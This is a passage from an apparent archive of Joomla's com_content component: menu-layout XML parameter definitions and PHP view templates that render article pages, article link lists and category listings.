			label="COM_CONTENT_FIELD_INFOBLOCK_TITLE_LABEL"
			description="COM_CONTENT_FIELD_INFOBLOCK_TITLE_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option	value="1">JSHOW</option>
			<option	value="0">JHIDE</option>
		</field>

		<field
			name="show_category"
			type="list"
			label="JGLOBAL_SHOW_CATEGORY_LABEL"
			description="JGLOBAL_SHOW_CATEGORY_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="link_category"
			type="list"
			label="JGLOBAL_LINK_CATEGORY_LABEL"
			description="JGLOBAL_LINK_CATEGORY_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="show_parent_category"
			type="list"
			label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
			description="JGLOBAL_SHOW_PARENT_CATEGORY_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="link_parent_category"
			type="list"
			label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
			description="JGLOBAL_LINK_PARENT_CATEGORY_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="show_associations"
			type="list"
			label="JGLOBAL_SHOW_ASSOCIATIONS_LABEL"
			description="JGLOBAL_SHOW_ASSOCIATIONS_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_author"
			type="list"
			label="JGLOBAL_SHOW_AUTHOR_LABEL"
			description="JGLOBAL_SHOW_AUTHOR_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="link_author"
			type="list"
			label="JGLOBAL_LINK_AUTHOR_LABEL"
			description="JGLOBAL_LINK_AUTHOR_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="show_create_date"
			type="list"
			label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
			description="JGLOBAL_SHOW_CREATE_DATE_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_modify_date"
			type="list"
			label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
			description="JGLOBAL_SHOW_MODIFY_DATE_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_publish_date"
			type="list"
			label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
			description="JGLOBAL_SHOW_PUBLISH_DATE_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_item_navigation"
			type="list"
			label="JGLOBAL_SHOW_NAVIGATION_LABEL"
			description="JGLOBAL_SHOW_NAVIGATION_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_vote"
			type="list"
			label="JGLOBAL_SHOW_VOTE_LABEL"
			description="JGLOBAL_SHOW_VOTE_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_icons"
			type="list"
			label="JGLOBAL_SHOW_ICONS_LABEL"
			description="JGLOBAL_SHOW_ICONS_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_print_icon"
			type="list"
			label="JGLOBAL_SHOW_PRINT_ICON_LABEL"
			description="JGLOBAL_SHOW_PRINT_ICON_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_email_icon"
			type="list"
			label="JGLOBAL_SHOW_EMAIL_ICON_LABEL"
			description="JGLOBAL_SHOW_EMAIL_ICON_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_hits"
			type="list"
			label="JGLOBAL_SHOW_HITS_LABEL"
			description="JGLOBAL_SHOW_HITS_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_tags"
			type="list"
			label="JGLOBAL_SHOW_TAGS_LABEL"
			description="JGLOBAL_SHOW_TAGS_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_noauth"
			type="list"
			label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
			description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
			useglobal="true"
			class="chzn-color"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		<field
			name="urls_position"
			type="list"
			label="COM_CONTENT_FIELD_URLSPOSITION_LABEL"
			description="COM_CONTENT_FIELD_URLSPOSITION_DESC"
			useglobal="true"
			>
			<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
			<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
		</field>
		</fieldset>
	</fields>
</metadata>
com_content/views/article/tmpl/default.php000060400000016200152453734450014754 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');

// Create shortcuts to some parameters.
$params  = $this->item->params;
$urls    = json_decode($this->item->urls);
$canEdit = $params->get('access-edit');
$user    = JFactory::getUser();
$info    = $params->get('info_block_position', 0);

// Check if associations are implemented. If they are, define the parameter.
$assocParam = (JLanguageAssociations::isEnabled() && $params->get('show_associations'));
JHtml::_('behavior.caption');

$currentDate       = JFactory::getDate()->format('Y-m-d H:i:s');
$isNotPublishedYet = $this->item->publish_up > $currentDate;
$isExpired         = $this->item->publish_down < $currentDate && $this->item->publish_down !== JFactory::getDbo()->getNullDate();

?>
<div class="item-page<?php echo $this->pageclass_sfx; ?>" itemscope itemtype="https://schema.org/Article">
	<meta itemprop="inLanguage" content="<?php echo ($this->item->language === '*') ? JFactory::getConfig()->get('language') : $this->item->language; ?>" />
	<?php if ($this->params->get('show_page_heading')) : ?>
	<div class="page-header">
		<h1> <?php echo $this->escape($this->params->get('page_heading')); ?> </h1>
	</div>
	<?php endif;
	if (!empty($this->item->pagination) && $this->item->pagination && !$this->item->paginationposition && $this->item->paginationrelative)
	{
		echo $this->item->pagination;
	}
	?>

	<?php // Todo Not that elegant would be nice to group the params ?>
	<?php $useDefList = ($params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
	|| $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category') || $params->get('show_author') || $assocParam); ?>

	<?php if (!$useDefList && $this->print) : ?>
		<div id="pop-print" class="btn hidden-print">
			<?php echo JHtml::_('icon.print_screen', $this->item, $params); ?>
		</div>
		<div class="clearfix"> </div>
	<?php endif; ?>
	<?php if ($params->get('show_title')) : ?>
	<div class="page-header">
		<h2 itemprop="headline">
			<?php echo $this->escape($this->item->title); ?>
		</h2>
		<?php if ($this->item->state == 0) : ?>
			<span class="label label-warning"><?php echo JText::_('JUNPUBLISHED'); ?></span>
		<?php endif; ?>
		<?php if ($isNotPublishedYet) : ?>
			<span class="label label-warning"><?php echo JText::_('JNOTPUBLISHEDYET'); ?></span>
		<?php endif; ?>
		<?php if ($isExpired) : ?>
			<span class="label label-warning"><?php echo JText::_('JEXPIRED'); ?></span>
		<?php endif; ?>
	</div>
	<?php endif; ?>
	<?php if (!$this->print) : ?>
		<?php if ($canEdit || $params->get('show_print_icon') || $params->get('show_email_icon')) : ?>
			<?php echo JLayoutHelper::render('joomla.content.icons', array('params' => $params, 'item' => $this->item, 'print' => false)); ?>
		<?php endif; ?>
	<?php else : ?>
		<?php if ($useDefList) : ?>
			<div id="pop-print" class="btn hidden-print">
				<?php echo JHtml::_('icon.print_screen', $this->item, $params); ?>
			</div>
		<?php endif; ?>
	<?php endif; ?>

	<?php // Content is generated by content plugin event "onContentAfterTitle" ?>
	<?php echo $this->item->event->afterDisplayTitle; ?>

	<?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
		<?php // Todo: for Joomla4 joomla.content.info_block.block can be changed to joomla.content.info_block ?>
		<?php echo JLayoutHelper::render('joomla.content.info_block.block', array('item' => $this->item, 'params' => $params, 'position' => 'above')); ?>
	<?php endif; ?>

	<?php if ($info == 0 && $params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
		<?php $this->item->tagLayout = new JLayoutFile('joomla.content.tags'); ?>

		<?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
	<?php endif; ?>

	<?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
	<?php echo $this->item->event->beforeDisplayContent; ?>

	<?php if (isset($urls) && ((!empty($urls->urls_position) && ($urls->urls_position == '0')) || ($params->get('urls_position') == '0' && empty($urls->urls_position)))
		|| (empty($urls->urls_position) && (!$params->get('urls_position')))) : ?>
	<?php echo $this->loadTemplate('links'); ?>
	<?php endif; ?>
	<?php if ($params->get('access-view')) : ?>
	<?php echo JLayoutHelper::render('joomla.content.full_image', $this->item); ?>
	<?php
	if (!empty($this->item->pagination) && $this->item->pagination && !$this->item->paginationposition && !$this->item->paginationrelative) :
		echo $this->item->pagination;
	endif;
	?>
	<?php if (isset ($this->item->toc)) :
		echo $this->item->toc;
	endif; ?>
	<div itemprop="articleBody">
		<?php echo $this->item->text; ?>
	</div>

	<?php if ($info == 1 || $info == 2) : ?>
		<?php if ($useDefList) : ?>
				<?php // Todo: for Joomla4 joomla.content.info_block.block can be changed to joomla.content.info_block ?>
			<?php echo JLayoutHelper::render('joomla.content.info_block.block', array('item' => $this->item, 'params' => $params, 'position' => 'below')); ?>
		<?php endif; ?>
		<?php if ($params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
			<?php $this->item->tagLayout = new JLayoutFile('joomla.content.tags'); ?>
			<?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
		<?php endif; ?>
	<?php endif; ?>

	<?php
	if (!empty($this->item->pagination) && $this->item->pagination && $this->item->paginationposition && !$this->item->paginationrelative) :
		echo $this->item->pagination;
	?>
	<?php endif; ?>
	<?php if (isset($urls) && ((!empty($urls->urls_position) && ($urls->urls_position == '1')) || ($params->get('urls_position') == '1'))) : ?>
	<?php echo $this->loadTemplate('links'); ?>
	<?php endif; ?>
	<?php // Optional teaser intro text for guests ?>
	<?php elseif ($params->get('show_noauth') == true && $user->get('guest')) : ?>
	<?php echo JLayoutHelper::render('joomla.content.intro_image', $this->item); ?>
	<?php echo JHtml::_('content.prepare', $this->item->introtext); ?>
	<?php // Optional link to let them register to see the whole article. ?>
	<?php if ($params->get('show_readmore') && $this->item->fulltext != null) : ?>
	<?php $menu = JFactory::getApplication()->getMenu(); ?>
	<?php $active = $menu->getActive(); ?>
	<?php $itemId = $active->id; ?>
	<?php $link = new JUri(JRoute::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false)); ?>
	<?php $link->setVar('return', base64_encode(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language))); ?>
	<?php echo JLayoutHelper::render('joomla.content.readmore', array('item' => $this->item, 'params' => $params, 'link' => $link)); ?>
	<?php endif; ?>
	<?php endif; ?>
	<?php
	if (!empty($this->item->pagination) && $this->item->pagination && $this->item->paginationposition && $this->item->paginationrelative) :
		echo $this->item->pagination;
	?>
	<?php endif; ?>
	<?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
	<?php echo $this->item->event->afterDisplayContent; ?>
</div>
com_content/views/article/tmpl/default_links.php000060400000005000152453734450016150 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Create shortcut
$urls = json_decode($this->item->urls);

// Create shortcuts to some parameters.
$params = $this->item->params;
if ($urls && (!empty($urls->urla) || !empty($urls->urlb) || !empty($urls->urlc))) :
?>
<div class="content-links">
	<ul class="nav nav-tabs nav-stacked">
		<?php
			$urlarray = array(
			array($urls->urla, $urls->urlatext, $urls->targeta, 'a'),
			array($urls->urlb, $urls->urlbtext, $urls->targetb, 'b'),
			array($urls->urlc, $urls->urlctext, $urls->targetc, 'c')
			);
			foreach ($urlarray as $url) :
				$link = $url[0];
				$label = $url[1];
				$target = $url[2];
				$id = $url[3];

				if ( ! $link) :
					continue;
				endif;

				// If no label is present, take the link
				$label = $label ?: $link;

				// If no target is present, use the default
				$target = $target ?: $params->get('target' . $id);
				?>
			<li class="content-links-<?php echo $id; ?>">
				<?php
					// Compute the correct link

					switch ($target)
					{
						case 1:
							// Open in a new window
							echo '<a href="' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '" target="_blank" rel="nofollow noopener noreferrer">' .
								htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . '</a>';
							break;

						case 2:
							// Open in a popup window
							$attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=600,height=600';
							echo "<a href=\"" . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . "\" onclick=\"window.open(this.href, 'targetWindow', '" . $attribs . "'); return false;\" rel=\"noopener noreferrer\">" .
								htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . '</a>';
							break;
						case 3:
							// Open in a modal window
							JHtml::_('behavior.modal', 'a.modal');
							echo '<a class="modal" href="' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '"  rel="{handler: \'iframe\', size: {x:600, y:600}} noopener noreferrer">' .
								htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . ' </a>';
							break;

						default:
							// Open in parent window
							echo '<a href="' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '" rel="nofollow">' .
								htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . ' </a>';
							break;
					}
				?>
				</li>
		<?php endforeach; ?>
	</ul>
</div>
<?php endif; ?>
com_content/views/categories/tmpl/default.php000060400000002357152453734450015466 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');
JHtml::_('behavior.caption');
JHtml::_('behavior.core');

// Add strings for translations in Javascript.
JText::script('JGLOBAL_EXPAND_CATEGORIES');
JText::script('JGLOBAL_COLLAPSE_CATEGORIES');

JFactory::getDocument()->addScriptDeclaration("
jQuery(function($) {
	$('.categories-list').find('[id^=category-btn-]').each(function(index, btn) {
		var btn = $(btn);
		btn.on('click', function() {
			btn.find('span').toggleClass('icon-plus');
			btn.find('span').toggleClass('icon-minus');
			if (btn.attr('aria-label') === Joomla.JText._('JGLOBAL_EXPAND_CATEGORIES'))
			{
				btn.attr('aria-label', Joomla.JText._('JGLOBAL_COLLAPSE_CATEGORIES'));
			} else {
				btn.attr('aria-label', Joomla.JText._('JGLOBAL_EXPAND_CATEGORIES'));
			}		
		});
	});
});");
?>
<div class="categories-list<?php echo $this->pageclass_sfx; ?>">
	<?php
		echo JLayoutHelper::render('joomla.content.categories_default', $this);
		echo $this->loadTemplate('items');
	?>
</div>
com_content/views/categories/tmpl/default.xml000060400000045431152453734450015477 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONTENT_CATEGORIES_VIEW_DEFAULT_TITLE" option="COM_CONTENT_CATEGORIES_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORIES"
		/>
		<message>
			<![CDATA[COM_CONTENT_CATEGORIES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
		 >
			<field 
				name="id" 
				type="category"
				label="JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL"
				description="JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_DESC"
				extension="com_content"
				show_root="true"
				required="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
<fields name="params">
	<fieldset name="basic" label="JGLOBAL_CATEGORIES_OPTIONS">

			<field 
				name="show_base_description" 
				type="list"
				label="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL"
				description="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="categories_description" 
				type="textarea"
				label="JGLOBAL_FIELD_CATEGORIES_DESC_LABEL"
				description="JGLOBAL_FIELD_CATEGORIES_DESC_DESC"
				cols="25"
				rows="5"
			/>

			<field 
				name="maxLevelcat" 
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				description="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC"
				useglobal="true"
				>
				<option value="-1">JALL</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field 
				name="show_empty_categories_cat" 
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				description="COM_CONTENT_SHOW_EMPTY_CATEGORIES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_subcat_desc_cat" 
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_cat_num_articles_cat" 
				type="list"
				label="COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL"
				description="COM_CONTENT_NUMBER_CATEGORY_ITEMS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
	</fieldset>

	<fieldset name="category" label="JGLOBAL_CATEGORY_OPTIONS">
			<field 
				name="spacer3" 
				type="spacer" 
				label="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
				class="text"
			/>

			<field 
				name="show_category_title" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_TITLE"
				description="JGLOBAL_SHOW_CATEGORY_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_description" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_description_image" 
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_IMAGE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="maxLevel" 
				type="list"
				label="JGLOBAL_MAXLEVEL_LABEL"
				description="JGLOBAL_MAXLEVEL_DESC"
				useglobal="true"
				>
				<option value="-1">JALL</option>
				<option value="0">JNONE</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field 
				name="show_empty_categories" 
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				description="COM_CONTENT_SHOW_EMPTY_CATEGORIES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_no_articles" 
				type="list"
				label="COM_CONTENT_NO_ARTICLES_LABEL"
				description="COM_CONTENT_NO_ARTICLES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_subcat_desc"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_cat_num_articles" 
				type="list"
				label="COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL"
				description="COM_CONTENT_NUMBER_CATEGORY_ITEMS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
	</fieldset>
	<fieldset name="blog" label="JGLOBAL_BLOG_LAYOUT_OPTIONS">
			<field 
				name="spacer4" 
				type="spacer"
				label="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
				class="text"
			/>

			<field 
				name="num_leading_articles" 
				type="number"
				label="JGLOBAL_NUM_LEADING_ARTICLES_LABEL"
				description="JGLOBAL_NUM_LEADING_ARTICLES_DESC"
				size="3"
				useglobal="true"
			/>

			<field 
				name="num_intro_articles" 
				type="number"
				label="JGLOBAL_NUM_INTRO_ARTICLES_LABEL"
				description="JGLOBAL_NUM_INTRO_ARTICLES_DESC"
				size="3"
				useglobal="true"
			/>

			<field 
				name="num_columns" 
				type="number"
				label="JGLOBAL_NUM_COLUMNS_LABEL"
				description="JGLOBAL_NUM_COLUMNS_DESC"
				size="3"
				useglobal="true"
			/>

			<field 
				name="num_links" 
				type="number"
				label="JGLOBAL_NUM_LINKS_LABEL"
				description="JGLOBAL_NUM_LINKS_DESC"
				size="3"
				useglobal="true"
			/>

			<field 
				name="multi_column_order" 
				type="list"
				description="JGLOBAL_MULTI_COLUMN_ORDER_DESC"
				label="JGLOBAL_MULTI_COLUMN_ORDER_LABEL"
				useglobal="true"
				>
				<option value="0">JGLOBAL_DOWN</option>
				<option value="1">JGLOBAL_ACROSS</option>
			</field>

			<field 
				name="show_subcategory_content" 
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORY_CONTENT_LABEL"
				description="JGLOBAL_SHOW_SUBCATEGORY_CONTENT_DESC"
				useglobal="true"
				>
				<option value="0">JNONE</option>
				<option value="-1">JALL</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="spacer5"
				type="spacer"
				hr="true"
			/>

			<field 
				name="orderby_pri" 
				type="list"
				label="JGLOBAL_CATEGORY_ORDER_LABEL"
				description="JGLOBAL_CATEGORY_ORDER_DESC"
				useglobal="true"
				>
				<option value="none">JGLOBAL_NO_ORDER</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="order">JGLOBAL_CATEGORY_MANAGER_ORDER</option>
			</field>

			<field 
				name="orderby_sec" 
				type="list"
				label="JGLOBAL_ARTICLE_ORDER_LABEL"
				description="JGLOBAL_ARTICLE_ORDER_DESC"
				useglobal="true"
				>
				<option value="front">COM_CONTENT_FEATURED_ORDER</option>
				<option value="rdate">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="date">JGLOBAL_OLDEST_FIRST</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="author">JGLOBAL_AUTHOR_ALPHABETICAL</option>
				<option value="rauthor">JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL</option>
				<option value="hits">JGLOBAL_MOST_HITS</option>
				<option value="rhits">JGLOBAL_LEAST_HITS</option>
				<option value="order">JGLOBAL_ORDERING</option>
				<option	value="rorder">JGLOBAL_REVERSE_ORDERING</option>
				<option value="vote" requires="vote">JGLOBAL_VOTES_DESC</option>
				<option value="rvote" requires="vote">JGLOBAL_VOTES_ASC</option>
				<option value="rank" requires="vote">JGLOBAL_RATINGS_DESC</option>
				<option value="rrank" requires="vote">JGLOBAL_RATINGS_ASC</option>
			</field>

			<field 
				name="order_date" 
				type="list"
				label="JGLOBAL_ORDERING_DATE_LABEL"
				description="JGLOBAL_ORDERING_DATE_DESC"
				useglobal="true"
				>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
			</field>
	</fieldset>

	<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS" >
			<field 
				name="spacer6" 
				type="spacer" 
				label="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
				class="text"
			/>

			<field 
				name="show_pagination_limit" 
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				description="JGLOBAL_DISPLAY_SELECT_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="filter_field" 
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				description="JGLOBAL_FILTER_FIELD_DESC"
				useglobal="true"
				>
				<option value="hide">JHIDE</option>
				<option value="title">JGLOBAL_TITLE</option>
				<option value="author">JAUTHOR</option>
				<option value="hits">JGLOBAL_HITS</option>
			</field>

			<field 
				name="show_headings" 
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				description="JGLOBAL_SHOW_HEADINGS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="list_show_date" 
				type="list"
				label="JGLOBAL_SHOW_DATE_LABEL"
				description="JGLOBAL_SHOW_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
			</field>

			<field 
				name="date_format" 
				type="text"
				label="JGLOBAL_DATE_FORMAT_LABEL"
				description="JGLOBAL_DATE_FORMAT_DESC"
				size="15"
				useglobal="true"
			/>

			<field 
				name="list_show_hits" 
				type="list"
				label="JGLOBAL_LIST_HITS_LABEL"
				description="JGLOBAL_LIST_HITS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="list_show_author" 
				type="list"
				label="JGLOBAL_LIST_AUTHOR_LABEL"
				description="JGLOBAL_LIST_AUTHOR_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="display_num" 
				type="list"
				label="JGLOBAL_NUMBER_ITEMS_LIST_LABEL"
				description="JGLOBAL_NUMBER_ITEMS_LIST_DESC"
				default="10"
				>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="100">J100</option>
				<option value="0">JALL</option>
			</field>

	</fieldset>

		<fieldset name="shared" label="COM_CONTENT_SHARED_LABEL" description="COM_CONTENT_SHARED_DESC">

			<field 
				name="show_pagination" 
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				description="JGLOBAL_PAGINATION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field 
				name="show_pagination_results" 
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				description="JGLOBAL_PAGINATION_RESULTS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

	<fieldset name="article" label="COM_CONTENT_ATTRIBS_FIELDSET_LABEL">

			<field
				name="article_layout" 
				type="componentlayout"
				label="JGLOBAL_FIELD_LAYOUT_LABEL"
				description="JGLOBAL_FIELD_LAYOUT_DESC"
				menuitems="true"
				extension="com_content"
				view="article"
			/>

			<field 
				name="show_title" 
				type="list"
				label="JGLOBAL_SHOW_TITLE_LABEL"
				description="JGLOBAL_SHOW_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="link_titles" 
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				description="JGLOBAL_LINKED_TITLES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field 
				name="show_intro" 
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				description="JGLOBAL_SHOW_INTRO_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
